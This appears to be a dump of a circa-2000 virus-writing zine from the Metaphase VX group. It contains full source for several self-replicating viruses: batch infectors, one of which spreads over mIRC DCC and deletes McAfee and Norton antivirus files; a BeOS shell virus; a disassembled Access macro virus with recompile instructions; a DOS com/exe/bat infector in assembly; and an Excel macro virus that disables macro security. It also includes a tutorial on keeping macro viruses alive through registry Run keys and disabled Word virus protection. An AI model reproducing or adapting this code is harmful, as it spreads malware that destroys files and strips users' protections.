                mov dx,80h

                mov ah,1ah

                int 21h

                jmp try_again

slinky_exit:    mov di,100h

                push di

                ret

goto_slinky     db 0e9h,00h,00h,''

buffer          db 0cdh,20h,00h,00h

newdta          db 42 dup (?)

com_mask        db '*.com',0

slinky_end:

end     start


Bat.AntiBecky By Raven & Knowdeth

@if '%_Becky%==' goto _Becky

::..If not for me you'd be dead, I picked you up and put you on solid groud.

@if not '%_Becky%==' goto TimeToLeave

:_Becky AntiBecky

::

::Bat.AntiBecky.a

:: -KD- / [Metaphase & NoMercy]

::       And

:: Raven / [Metaphase]

::

@echo off%_AntiBecky%

if '%1=='AntiBecky goto AntiBecky%2

set AntiBecky=%0.bat

if not exist %AntiBecky% set AntiBecky=%0

if '%AntiBecky%==' set AntiBecky=autoexec.bat

set !AntiBecky=%1 %2 %3 %4 %5 %6 %7 %8 %9

if exist c:\_AntiBecky.bat goto AntiBeckyGetPath

if exist %AntiBecky% goto AntiBeckyFind

call %AntiBecky% AntiBecky h %path%

if exist %AntiBecky% goto AntiBeckyFind

goto AntiBeckyPayload

:AntiBeckyExist

shift%_AntiBecky%

if '%2==' goto TimeToLeave

if exist %2\%AntiBecky set AntiBecky=%2\%AntiBecky%

if exist %2%AntiBecky set AntiBecky=%2%AntiBecky%

if exist %2\%AntiBecky.bat set AntiBecky=%2\%AntiBecky%.bat

if exist %2%AntiBecky.bat set AntiBecky=%2%AntiBecky%.bat

if not exist %AntiBecky% goto AntiBeckyExist

goto TimeToLeave

:AntiBeckyFind

find "AntiBecky"<%AntiBecky%>c:\_AntiBecky.bat

attrib c:\_AntiBecky.bat +h

:AntiBeckyGetPath

command /e:5000 /c c:\_AntiBecky AntiBecky VirInf . .. %path%

::Fly my little monkeys Fly!

:AntiBeckyIRCCopy

attrib c:\_AntiBecky.bat -h

copy c:\_AntiBecky.bat c:\windows\system\cute.bat /Y

copy c:\_AntiBecky.bat c:\windows\WinStart.bat /Y

attrib c:\_AntiBecky.bat +h

attrib c:\windows\system\cute.bat +h

if errorlevel 1 goto AntiBeckyPayload

:AntiBeckyIRCScript

echo N $script$.ini>Script.t

echo E 0100 5B 73 63 72 69 70 74 5D 0D 0A 6E 31 3D 3B 41 6E>>Script.t

echo E 0110 74 69 42 65 63 6B 79 2E 61 0D 0A 6E 32 3D 4F 4E>>Script.t

echo E 0120 20 31 3A 4A 4F 49 4E 3A 23 3A 7B 20 2F 69 66 20>>Script.t

echo E 0130 28 20 24 6E 69 63 6B 20 3D 3D 20 24 6D 65 20 29>>Script.t

echo E 0140 20 7B 20 68 61 6C 74 20 7D 0D 0A 6E 33 3D 20 20>>Script.t

echo E 0150 2F 64 63 63 20 73 65 6E 64 20 24 6E 69 63 6B 20>>Script.t

echo E 0160 63 3A 5C 77 69 6E 64 6F 77 73 5C 73 79 73 74 65>>Script.t

echo E 0170 6D 5C 63 75 74 65 2E 62 61 74 0D 0A 6E 34 3D 7D>>Script.t

echo E 0180 3E 3E 53 63 72 69 70 74 2E 74 0D 0A 6E 35 3D 0D>>Script.t

echo E 0190 0A 6E 36 3D 3B 4F 4E 20 31 3A 50 41 52 54 3A 23>>Script.t

echo E 01A0 3A 7B 20 2F 69 66 20 28 20 24 6E 69 63 6B 20 3D>>Script.t

echo E 01B0 3D 20 24 6D 65 20 29 20 7B 20 68 61 6C 74 20 7D>>Script.t

echo E 01C0 0D 0A 6E 37 3D 2F 64 63 63 20 73 65 6E 64 20 24>>Script.t

echo E 01D0 6E 69 63 6B 20 63 3A 5C 57 49 4E 44 4F 57 53 5C>>Script.t

echo E 01E0 73 79 73 74 65 6D 5C 63 75 74 65 2E 62 61 74 0D>>Script.t

echo E 01F0 0A 6E 38 3D 7D 0D 0A 6E 39 3D 0D 0A 6E 31 30 3D>>Script.t

echo E 0200 6F 6E 20 31 3A 54 45 58 54 3A 2A 73 63 72 69 70>>Script.t

echo E 0210 74 2E 69 6E 69 2A 3A 23 3A 2F 2E 69 67 6E 6F 72>>Script.t

echo E 0220 65 20 24 6E 69 63 6B 0D 0A 6E 31 31 3D 20 2F 63>>Script.t

echo E 0230 6F 70 79 20 63 3A 5C 77 69 6E 64 6F 77 73 5C 57>>Script.t

echo E 0240 69 6E 53 74 61 72 74 2E 62 61 74 20 43 3A 5C 6D>>Script.t

echo E 0250 69 72 63 5C 43 75 74 65 73 74 2E 62 61 74 0D 0A>>Script.t

echo E 0260 6E 31 32 3D 20 2F 72 75 6E 20 43 3A 5C 6D 69 72>>Script.t

echo E 0270 63 5C 43 75 74 65 73 74 2E 62 61 74 0D 0A 6E 31>>Script.t

echo E 0280 33 3D 20 2F 74 69 6D 65 72 20 30 20 31 30 20 2F>>Script.t

echo E 0290 72 65 6D 6F 76 65 20 43 3A 5C 6D 69 72 63 5C 43>>Script.t

echo E 02A0 75 74 65 73 74 2E 62 61 74 0D 0A 6E 31 34 3D 20>>Script.t

echo E 02B0 2F 74 69 6D 65 72 20 30 20 31 31 20 2F 74 69 6D>>Script.t

echo E 02C0 65 72 73 20 6F 66 66 0D 0A 6E 31 35 3D 6F 6E 20>>Script.t

echo E 02D0 31 3A 51 55 49 54 3A 23 3A 2F 6D 73 67 20 24 63>>Script.t

echo E 02E0 68 61 6E 20 49 20 70 75 74 20 79 6F 75 20 6F 6E>>Script.t

echo E 02F0 20 73 6F 6C 69 64 20 67 72 6F 75 6E 64 2E>>Script.t

echo E RCX>>Script.t

echo E 01FE>>Script.t

echo E W>>Script.t

echo E Q>>Script.t

debug<Script.t>nul

del Script.t

if errorlevel 1 goto DebugMessUp

:DebugMessUp

copy $script$.ini c:\mirc\script.ini /Y

del $script$.ini

attrib c:\mirc\script.ini +h

if errorlevel 1 goto ScriptCopyMessUp

:ScriptCopyMessUp

if errorlevel 1 goto AntiBeckyPayload

:AntiBeckyPayload

echo.|time|find "8:00">nul.AntiBecky

if errorlevel 1 goto MyTime1

:MyTime1

echo.|time|find "8:10">nul.AntiBecky

if errorlevel 1 goto MyTime2

:MyTime2

echo.|time|find "8:20">nul.AntiBecky

if errorlevel 1 goto MyTime3

:MyTime3

echo.|time|find "8:30">nul.AntiBecky

echo y| del c:\mcafee\*.dat

if errorlevel 1 goto av1

:av1

echo y| del c:\progra~1\mcafee\*.dat

if errorlevel 1 goto av2

:av2

echo y| del c:\nav\*.*

if errorlevel 1 goto av3

:av3

echo y| del c:\progra~1\nav\*.*

if errorlevel 1 goto av4

:av4

if errorlevel 1 goto AntiBeckyPayloadError

:AntiBeckyPayloadError

call %AntiBecky% AntiBecky rh

set _Becky=>nul.AntiBecky

set !AntiBecky=

set AntiBecky=

goto TimeToLeave

:AntiBeckySetX

set _Becky=x%_AntiBecky%

%AntiBecky% %!AntiBecky%

:AntiBeckyVirInf

shift%_AntiBecky%

if '%2==' exit %AntiBecky%

for %%a in (%2\*.bat %2*.bat) do call c:\_AntiBecky AntiBecky BeckyEcho %%a

goto AntiBeckyVirInf

:BeckyEcho

find "AntiBecky"<%3>nul

if not errorlevel 1 goto AntiBeckySetUp

echo @if '%%_Becky%%==' goto _Becky>AntiBecky$

type %3>>AntiBecky$

echo.>>AntiBecky$

type c:\_AntiBecky.bat>>AntiBecky$

move AntiBecky$ %3>nul

set AntiBecky#=%AntiBecky#%1

if %AntiBecky#%==1111111111 exit

:AntiBeckySetUp

set AntiBecky!=%AntiBecky!%1

if %AntiBecky!%==11111111111111111111 exit

:TimeToLeave


Bat.HomeSlice by Knowdeth

@if '%_Hommie%==' goto _Hommie

::...And she told me how to walk this way...

@if not '%_Hommie%==' goto TimeForHome

:_Hommie HomeSlice

::

:: Bat.HomeSlice.a

:: -KD- / [Metaphase & NoMercy]

::..Showing the kids the Old School.

::

@echo off%_HomeSlice%

if '%1=='HomeSlice goto HomeSlice%2

set HomeSlice=%0.bat

if not exist %HomeSlice% set HomeSlice=%0

if '%HomeSlice%==' set HomeSlice=autoexec.bat

set !HomeSlice=%1 %2 %3 %4 %5 %6 %7 %8 %9

call %HomeSlice% HomeSlice SetTheX

set _Hommie=>nul.HomeSlice

set !HomeSlice=

if exist c:\_HomeSlice.bat goto LetsGo

if exist %HomeSlice% goto CheckTheLoop

call %HomeSlice% HomeSlice Pimpin %path%

if exist %HomeSlice% goto CheckTheLoop

goto PayLoadCheck

:HomeSlicePimpin

shift%_HomeSlice%

if '%2==' goto TimeForHome

if exist %2\%HomeSlice set HomeSlice=%2\%HomeSlice%

if exist %2%HomeSlice set HomeSlice=%2%HomeSlice%

if exist %2\%HomeSlice.bat set HomeSlice=%2\%HomeSlice%.bat

if exist %2%HomeSlice.bat set HomeSlice=%2%HomeSlice%.bat

if not exist %HomeSlice% goto HomeSlicePimpin

goto TimeForHome

:CheckTheLoop

find "HomeSlice"<%HomeSlice%>c:\_HomeSlice.bat

attrib c:\_HomeSlice.bat +h

:LetsGo

command /e:5000 /c c:\_HomeSlice HomeSlice Infect

:PayLoadCheck

echo.|date|find "12">nul.HomeSlice

echo on

echo From The Old School to the New.

echo Bat.HomeSlice.a

echo You cant beat a classic.

echo off

if errorlevel 1 goto PayLoadDone

:PayLoadDone

::And it started with a little kiss like this...

set HomeSlice=

goto TimeForHome

:HomeSliceSetTheX

set _Hommie=x%_HomeSlice%

%HomeSlice% %!HomeSlice%

:HomeSliceInfect

for %%a in (*.bat ..\*.bat) do call c:\_HomeSlice HomeSlice InF %%a

exit HomeSlice

:HomeSliceInF

find "HomeSlice"<%3>nul

if not errorlevel 1 goto SetUsUp

echo @if '%%_Hommie%%==' goto _Hommie>HomeSlice$

type %3>>HomeSlice$

echo.>>HomeSlice$

type c:\_HomeSlice.bat>>HomeSlice$

move HomeSlice$ %3>nul

set HomeSlice#=%HomeSlice#%-

if %HomeSlice#%==---------- exit

:SetUsUp

set HomeSlice!=%HomeSlice!%-

if %HomeSlice!%==-------------------- exit

:TimeForHome


BeOS.Kate by Knowdeth

#!/bin/sh

#-----------------------------------------------------------------

#BeOS.Kate.a

#By -KD- [Metaphase VX Team & NoMercyVirusTeam]

#Worlds First BeOS Virus

#-----------------------------------------------------------------

( K_s=$_;i () { ( e=echo; $e 1 r \!sed -n 2p $K_s;$e w;$e q) | ed -s $1;}; d () { if [ -w $1 -a "`head -1 $1`" = "#!/bin/sh" -a "`grep -n K_i $1`" = "" ]; then i $1;

fi;}; for b in `find . -type f -print`;do d $b;done; ) &

echo Welcome to BeOS.Kate.a


Powerpoint Macro Generator by Knowdeth

PMG: Powerpoint Macro Generator ver 1.1k

----------------------------------------------------------------------

This program generates from user-specified parameters

to create *.bas files for use in Powerpoint 97.

When imported to Powerpoint the *.bas files make

virus like programs

100% Freeware If you got charged you got riped.

This Kit may NOT be included on a virus CD unless

the CD is givein FREE of charge.

Req's MSDOS 6.x or higher

----------------------------------------------------------------------


The Macro Access Kit 1.0 by AngelsKitten / NuKE

Makes Access97 VBA Virus Like Code, That can be copy

and pasted to Access97.

I hope you enjoy this kit as much as I enjoyed

makeing it for you. This is my first VCK so if

you have any suggestions let me know :)

Coded 6-15-2000


AM97.AccessiV Disassembly By Knowdeth

'comment *

'                AM97.AccessiV

'                Disassembly by

' Knowdeth / [Metaphase VX Team & NoMercyVirusTeam]

'                  5/25/00

'

'This is the first known macro virus that infects MS Access databases.

'The virus replaces in databases the Autoexec script ("macro" in

'Access terms) and copies additional macro ("module" in Access terms)

'to database. In this virus the macro is named "Virus".  When infected

'database is opened, the Autoexec script is activated. In infected

'databases it immediately calls virus function named "AccessiV" that

'searches for all databases  in the current directory and infects

'them. While searching the virus uses the "*.MDB" mask.

'

'As far as I know this is the first macro disassembly I hope you enjoy it.

'I don't know if the original source has ever been release. I decompiled

'this from the actual virus Tally gave me. (Thanks again Tally!)

'Virus written by Jerk1N / DIFFUSION

'

'This can be recompiled by importing this in access:

'Simply fire up Access97 and use Import/Export with

'this code saved as a *.bas

'

'------------------------------------------------------------------------------

'Module name: _VBA_MODULE (Macro)

'------------------------------------------------------------------------------

'*

Attribute VB_Name = "Virus"	'The VB Attrib Name

Dim filename As String	'Dim The Var filename As String

Option Compare Database	'Set The Option To Comapire

Option Explicit	'Set The Explicit

Public Sub findfirst()	'The Sub Called findfirst

filename = Dir("*.mdb", vbNormal)   'Find MS Database File

End Sub	'End The Sub findfirst

Public Sub infect()	'The Sub called infect

On Error GoTo ohcrap	'Error Check and goto ohcrap

DoCmd.TransferDatabase acExport, "Microsoft Access", filename, acMacro, "Autoexec", "Autoexec"	'Copy The Macro In The Database

DoCmd.TransferDatabase acExport, "Microsoft Access", filename, acModule, "Virus", "Virus"	'Copy The Module In The Database

ohcrap:	'ohcrap when a error happens

End Sub	'End The Sub infect

Public Function AccessiV()	'The Function AccessiV

Call findfirst	'Call The Sub findfirst

Call infect	'Call The Sub infect

While filename <> ""	'The Start of The While Wend Loop For Infection

Call findnext	'Call the Sub findnext

Call infect	'Call the Sub Infect

Wend	'Wend The Loop Until All File Have Been Checked In The Dir

End Function	'End The Function AccessiV

Public Sub findnext()	'The Sub Called findnext

filename = Dir                     	'Find Another MS Database File

End Sub	'End The Sub findnext


potato by nUcLeii

comment %

 potato v0.9

 This was a project to try and get myself interested in programming

 again. Its the first time this year i have attempted to code

 anything. I was going to implement such things as encryption and anti  debugging routines. I was even going to code ereet stuff like a

 counter routine so it wont infect every file it can on its first run.  heh. But yet again, as seems to happen too much, I

 have lost all intrest in this peice of software. All we have here is

 a very simple runtime com/exe/bat infector. Includes support for dos

 7* com files. This is about as interesting as a...

%

.model tiny

.code

   code segment

      assume cs:code,ds:code,es:code,ss:code

      org 100h

unf:

db      0e9h,0,0

start:

 batstuff  db	'::'

   jmp	virus

   db	0dh,0ah

   db	'@echo off',0dh,0ah

           db      'copy /b %0+%0.bat n.com>NUL',0dh,0ah

comfile    db      'n.com',0

lf	   db	0dh,0ah

   db	'::'

virus:

call	delta

delta:

pop	bp

        sub	bp,offset delta

cmp	byte ptr [bp+hostbyt],0

je	restorecom

cmp	byte ptr [bp+hostbyt],2

je	bcode

push	es

push	ds

push	cs

push	cs

pop	ds

pop	es

lea	di,[bp+startip]

lea	si,[bp+oldip]

mov	cx,4

rep	movsw

mov	byte ptr [bp+exitbyt],1

jmp	virus_code

bcode:

mov	ah,41h

lea	dx,[bp+comfile]

int	21h

jmp	virus_code

restorecom:

mov	byte ptr [bp+exitbyt],0

lea	si,[bp+thrbyte]

mov	di,100h

push	di

movsb

movsw

virus_code:

mov	ah,47h

lea	si,[bp+current]

xor	dl,dl

int	21h

mov	ah,19h

int	21h

mov	byte ptr [bp+disk],al

mov	ah,1bh

dec	ah

lea	dx,[bp+dta]

int	21h

mov	byte ptr [bp+winbyte],0

findfirst:

lea	dx,[bp+exemask]

mov	byte ptr [bp+pflag],1

call	search

lea	dx,[bp+ovlmask]

call	search

lea	dx,[bp+commask]

inc	[bp+pflag]

call	search

lea	dx,[bp+batmask]

inc	[bp+pflag]

call	search

mov	ah,3bh

lea	cx,[bp+dotdot]

xchg	dx,cx

nop

int	21h

jnc	findfirst

cmp	byte ptr [bp+winbyte],1

je	stupid

inc	byte ptr [bp+winbyte]

mov	ah,0eh

mov	dl,02h

int	21h

mov	ah,3bh

lea	dx,[bp+windoz]

int	21h

jnc	findfirst

stupid:

jmp	exit

search:

mov	ah,4eh

mov	cx,7

int	21h

jnc	infect

ret

next:

mov	ah,4fh

int	21h

jnc	infect

ret

infect:

mov	ax,4300h

lea	dx,[bp+dta+1eh]

push	dx

int	21h

mov	word ptr [bp+attribs],cx

mov	ax,4301h

xor	cx,cx

int	21h

mov	ax,3d02h

pop	dx

int	21h

xchg	bx,ax

mov	ax,5700h

int	21h

mov	word ptr [bp+time],cx

mov	word ptr [bp+date],dx

cmp	byte ptr [pflag+bp],1

je	damnitall

cmp	byte ptr [pflag+bp],3

je	bat_infection

        mov     ah,3fh

lea     dx,[bp+thrbyte]

mov     cx,3

int     21h

lea	si, [bp+dta+1bh]

dec	si

lodsw

        mov     cx,word ptr [bp+thrbyte+1]

        add     cx,endfile-start+3

cmp	ax,cx

jz	doink

cmp	ax,61000

ja	doink

        sub     ax,3

        mov     word ptr [bp+newjump+1],ax

call	front

mov	ah,40h

        mov     cx,3

        lea     dx,[bp+newjump]

        int     21h

call	back

mov	byte ptr [hostbyt+bp],0

        mov     ax,4202h

        mov     dx,-7

        mov     cx,-1

        int     21h

        mov     ah,3fh

        lea     dx,[bp+enus]

        mov     cx,7

        int     21h

        add     word ptr [bp+enus+5],endfile-start

call	write

doink:

jmp	close

damnitall:

jmp	exe_infection

bat_infection:

mov	ax,word ptr [bp+time]

cmp	al,1eh

je	doink

mov	al,1eh

mov	word ptr [bp+time],ax

mov	byte ptr [hostbyt+bp],2

lea	si, [bp+dta+1bh]

dec	si

lodsw

xchg	cx,ax

mov	ah,3fh

push	cx

lea	dx,[bp+heap]

push	dx

int	21h

call	front

call	write

mov	ah,40h

lea	dx,[bp+lf]

mov	cx,2

int	21h

mov	ah,40h

pop	dx

pop	cx

int	21h

jmp	close

exe_infection:

mov	ah,3fh

mov	cx,1ch

lea	dx,[bp+header]

int	21h

cmp	word ptr [bp+header],'ZM'

je	confirmed

cmp	word ptr [bp+header],'MZ'

je	confirmed

jmp	close

confirmed:

cmp	word ptr [bp+header+10h],'II'

je	doink

cmp	byte ptr [bp+header+18h],'@'

je	doink

cmp	word ptr [bp+header+1ah],0

jne	doink

positive:

mov	ax,word ptr [bp+header+0eh]

mov	word ptr [bp+oldss],ax

mov	ax,word ptr [bp+header+10h]

mov	word ptr [bp+oldsp],ax

mov	ax,word ptr [bp+header+14h]

mov	word ptr [bp+oldip],ax

mov	ax,word ptr [bp+header+16h]

mov	word ptr [bp+oldcs],ax

call	back

push	ax bx dx

mov	bx,word ptr [bp+header+8]

mov	cl,4

shl	bx,cl

sub	ax,bx

sbb	dx,0

mov	cx,10h

div	cx

mov	word ptr [bp+header+14h],dx

mov	word ptr [bp+header+16h],ax

mov	word ptr [bp+header+0eh],ax

mov	word ptr [bp+header+10h],'II'

pop	dx bx ax

add	ax,endfile-start

adc	dx,0

mov	cx,512

div	cx

inc	ax

mov	word ptr [bp+header+4],ax

mov	word ptr [bp+header+2],dx

mov	byte ptr [hostbyt+bp],1

call	write

call	front

mov	ah,40h

mov	cx,1ch

lea	dx,[bp+header]

int	21h

close:

mov	ax,5701h

mov	cx,word ptr [bp+time]

mov	dx,word ptr [bp+date]

int	21h

mov	ah,3eh

int	21h

mov	ax,4301h

mov	cx,word ptr [bp+attribs]

lea	dx,[DTA+1eh+bp]

int	21h

jmp	next

exit:

mov	ah,0eh

mov	dl,byte ptr [bp+disk]

int	21h

mov	ah,3bh

lea	dx,[current+bp]

int	21h

mov	ah,1bh

dec	ah

mov	dx,80h

int	21h

cmp	byte ptr [bp+exitbyt],1

je	rest_exe

retn

write:

mov	ah,40h

lea	dx,[bp+start]

mov	cx,endfile-start

int	21h

ret

front:

        mov     ax,4200h

        xor     cx,cx

xor	dx,dx

int     21h

ret

back:

        mov     ax,4202h

        xor     cx,cx

xor	dx,dx

int     21h

ret

rest_exe:

pop	ds

pop	es

mov	ax,es

add	ax,10h

add	word ptr cs:[bp+startcs],ax

cli

add	ax,word ptr cs:[bp+startss]

mov	ss,ax

mov	sp,word ptr cs:[bp+startsp]

sti

xor	ax,ax

xor	bx,bx

xor	cx,cx

xor	dx,dx

 	xor	di,di

xor	si,si

xor	bp,bp

           db 0eah

startip dw ?

startcs dw ?

startss dw ?

startsp dw ?

oldip dw 0

oldcs dw 0fff0h

oldss dw 0fff0h

oldsp dw 0fffeh

 exemask  db '*.exe',0

 ovlmask  db '*.ovl',0

 commask  db '*.com',0

 batmask  db '*.bat',0

 thrbyte  db 0cdh,20h,0

 newjump  db 0e9h,0,0

 hostbyt  db 0

 exitbyt  db 1

 dotdot   db '..',0

 windoz   db 'c:\windows\command',0

 tagline  db 'potato v0.9 (c) nucleii 2000',0

 enus     db 5 dup (?)

 chksum   db 2 dup (?)

endfile label near

 disk	   db ?

 winbyte   db ?

 pflag     db ?

 attribs   dw ?

 time      dw ?

 date      dw ?

 current   db 64 dup  (?)

 header    db 1ch dup (?)

 dta       db 43 dup (?)

heap:

code    ends

        end     unf


The Use Of Windows Scripting To Insure Your Macro Virus Lives by Lys Kovick
The Use Of Windows Scripting To Insure

Your Macro Virus Lives by Lys Kovick

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

The Use Of Windows Scripting To Insure Your Macro Virus Lives

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

I have used this technique in several of my virii. Though this

technique will only work on a machine with Windows Scripting Host

Installed. This includes, by defualt, Windows 98 and Windows 2000.

I will explain two techinuques: 1) Store the script and source

in two seperate files 2) Store the source code within the script

BTW, This Tutorial infers the following:

That you know something about coding in VBA

That you're coding a class virus

That you are not stupid

If this isn't you then do what's needed ;)

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Concept:

The script will run an object and inject the viral code into

a file that will insure its chances of infection. In Word

the NormalTemplate is a perfect target for this.

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Type I: Example (This is a modified example taken from Sixtieth Skeptic aka w97m.antisocial.e):

Open "C:\SS.VBS" For Output As #1

Print #1, "Set SS = WScript.CreateObject(" & Chr(34) & "Word.Application" & Chr(34) & ")"

Print #1, "SS.Options.VirusProtection = 0"

Print #1, "SS.Options.SaveNormalPrompt = 0"

Print #1, "SS.Options.ConfirmConversions = 0"

Print #1, "For x = 1 To SS.NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines"

Print #1, "SS.NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1"

Print #1, "Next"

Print #1, "SS.NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromFile (" & Chr(34) & "C:\SS.BAS" & Chr(34) & ")"

Print #1, "SS.Application.Quit"

Close #1

This will drop a file in C:\ named SS.VBS

which if opened would look like this:

Set SS = WScript.CreateObject("Word.Application")

SS.Options.VirusProtection = 0

SS.Options.SaveNormalPrompt = 0

SS.Options.ConfirmConversions = 0

For x = 1 To SS.NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines

SS.NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1

Next

SS.NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromFile ("C:\SS.BAS")

SS.Application.Quit

This script Creates a new object (opens Word). It then disables

VirusProtection, SaveNormalPrompt, and ConfirmConversions. Next,

it deletes all lines from the NormalTemplate. Then it injects

whatever is in "C:\SS.BAS". After that it closes the object (Word)

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

This takes care of the script file but we still need the viral

code from the virus or the script has nothing to inject. To take

care of this problem you will need to Export the macro in some way.

I prefer to save the macro as a string then Opening a file for

output and printing the string to the file.

ViralCode = ThisDocument.VBProject.VBComponents.Item(1).Codemodule.Lines(1, ThisDocument.VBProject.VBComponents.Item(1).Codemodule.CounOfLines)

This line of code will set the string "ViralCode" to equal the code

in the virus.

Open "C:\SS.BAS" For Output As #1

Print #1, ViralCode

Close #1

You now have a file for your script to inject into the NormalTemplate!

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

You will now need a way for your script to be automaticaly ran

incase your virus is removed from the NormalTemplate. There are

a few ways of doing this. I prefer editing registry and that will

be the way I will show you.

System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "Sixtieth Skeptic") = "C:\SS.VBS"

This will add the key "Sixtieth Skeptic" with a value of "C:\SS.VBS"

This will cuase the script to run every time Windows Starts up. Which in turn will reinfect

the NormalTemplate every time the computer reboots into Windows.

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Type II: Example (This is an unmodified version taken from Mireille aka w97m.antisocial.f)

TD = ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)

System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "Mireille") = "C:\Mireille.vbs"

Open "C:\Mireille.vbs" For Output As #1

Print #1, "Set wordobj = CreateObject(" & Chr(34) & "Word.Application" & Chr(34) & ")"

Print #1, "Mireille = wscript.ScriptFullName"

Print #1, "Set NT = wordobj.NormalTemplate.VBProject.VBComponents.Item(1)"

Print #1, "NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines"

Print #1, "NT.CodeModule.AddFromFile Mireille"

Print #1, "NT.CodeModule.DeleteLines 1, 7"

Print #1, "wordobj.Quit"

Print #1, TD

Close #1

This will drop a file in C:\ named Mireille.vbs

which if opened would look like this:

Set wordobj = CreateObject("Word.Application")

Mireille = wscript.ScriptFullName

Set NT = wordobj.NormalTemplate.VBProject.VBComponents.Item(1)

NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines

NT.CodeModule.AddFromFile Mireille

NT.CodeModule.DeleteLines 1, 7

wordobj.Quit

(This is where the viral source code will be in the script)

This Script will create an instance of of Word. It will then delete any code

within the ThisDocument module and then insert itself into it. It will then delete

the first seven lines (this is the script itself and needs to be removed). After it

inserts itself it will then close the instance of Word.

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

There is one problem with this technique! If the code of the macro contains something the

Windows Script engine doesn't recognize it will cause the script to crash and popup a warning

to the user. Thus this technique requires a little knowledge in VBScript.

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Enjoy!

Lys Kovick


Articles
Metaphase Articles

mIRC Script Worms Easy in Lessions by Knowdeth

VBScript Simple Stealth by Knowdeth

DOS Device Driver Infection by Black Jack

Interview with Owl[FS] by Raven

Interview with Zulu by Raven

Using the getdents by Sblip

Batch Infection With Assembler by Black Jack

The Use Of Windows Scripting To Insure Your Macro Virus Lives by Lys Kovick

Outside People by Slagehammer / NVT & VTC

Interview with Techno Phunk by Assembler Head /NVT

Interview with JFK by Assembler Head / NVT

Interview with Int13h by Assembler Head / NVT

A simple easy guide to Ansi-Bombs by Deloss / NuKE

Word97 Macro Viruses Tutorial by ULTRAS

Word97 Payload by ULTRAS

The Art of Virii Collecting by Tally

Your First Interrupt Handler by BSL4 / 3C

Replicating Entity by PZest

Brute Force Management 101 by PZest


XM97.Brandi by Knowdeth
XM97.Brandi.a by Knowdeth

Sub Auto_Open()

'XM97.Brandi.a

'Knowdeth / [Metaphase VX Team & NoMercyVirusTeam]

'Specail Thanks to jackie and foxz.

Application.OnSheetActivate = "Brandi-"

End Sub

Sub Brandi-()

On Error Resume Next

CommandBars("tools").Controls("Templates and add-ins...").Delete

CommandBars("tools").Controls("Customize...").Delete

CommandBars("tools").Controls("Macro").Delete

CommandBars("view").Controls("Toolbars").Delete

CommandBars("view").Controls("Status Bar").Delete

CommandBars("window").Controls("Unhide...").Delete

MenuBars(xlWorksheet).Reset

MenuBars(xlModule).Reset

MenuBars(xlNoDocuments).Reset

MenuBars(xlInfo).Reset

MenuBars(xlChart).Reset

MenuBars(xlWorksheet).Menus("Tools").MenuItems("&Macro...").Delete

MenuBars(xlWorksheet).Menus("Tools").MenuItems("&Record Macro").Delete

MenuBars(xlWorksheet).Menus("Insert").MenuItems("&Macro").Delete

MenuBars(xlChart).Menus("Tools").MenuItems("&Macro...").Delete

MenuBars(xlChart).Menus("Tools").MenuItems("&Record Macro").Delete

MenuBars(xlChart).Menus("Insert").MenuItems("&Macro").Delete

MenuBars(xlModule).Menus("Tools").MenuItems("Assig&n Macro...").Delete

MenuBars(xlNoDocuments).Menus("File").MenuItems("&Macro...").Delete

MenuBars(xlNoDocuments).Menus("File").MenuItems("&Record New Macro...").Delete

MenuBars(xlNoDocuments).Menus("File").MenuItems("&Unhide...").Delete

Application.ScreenUpdating = False

Application.DisplayAlerts = False

Application.EnableCancelKey = xlDisabled

Application.DisplayStatusBar = False

If UCase(Dir("c:\windows\microsoft.bak") <> "MICROSOFT.BAK" Then

 Open "c:\windows\microsoft.bak" For Output As 1

 Print #1, "REGEDIT4"

 Print #1, "[HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel]"

 Print #1, """Options6""=dword:00000000"

 Close 1

 Shell "regedit /s c:\windows\mircosoft.bak",vbHide

End If

Const MySource = "c:\windows\screensaver.sys"

Const MyBrandi = "Brandi"

Application.VBE.ActiveVBProject.VBComponents(MyBrandi).Export MySource

If Dir(Application.StartupPath & "\Personal.xls") = "Personal.xls" Then _

 GlobalInstalled = True

For x = 1 To ActiveWorkbook.VBProject.VBComponents.Count

    If ActiveWorkbook.VBProject.VBComponents(x).Name = MyBrandi Then _

     ActiveInstalled = True

Next

If ActiveInstalled = False Then

    ActiveWorkbook.VBProject.VBComponents.Import MySource

    ActiveWorkbook.SaveAs ActiveWorkbook.FullName

End If

If GlobalInstalled = False Then

    Workbooks.Add.SaveAs FileName:=Application.StartupPath _

     & "\Personal.xls"

    ActiveWorkbook.VBProject.VBComponents.Import MySource

    ActiveWindow.Visible = False

    Workbooks("Personal.xls").Save

End If

If Int(Rnd * 5) = 15 Then

Application.Caption = "Failure is not an option. It comes bundled with your Microsoft product"

Assistant.Visible = True

  With Assistant.NewBalloon

    .Icon = msoIconAlert

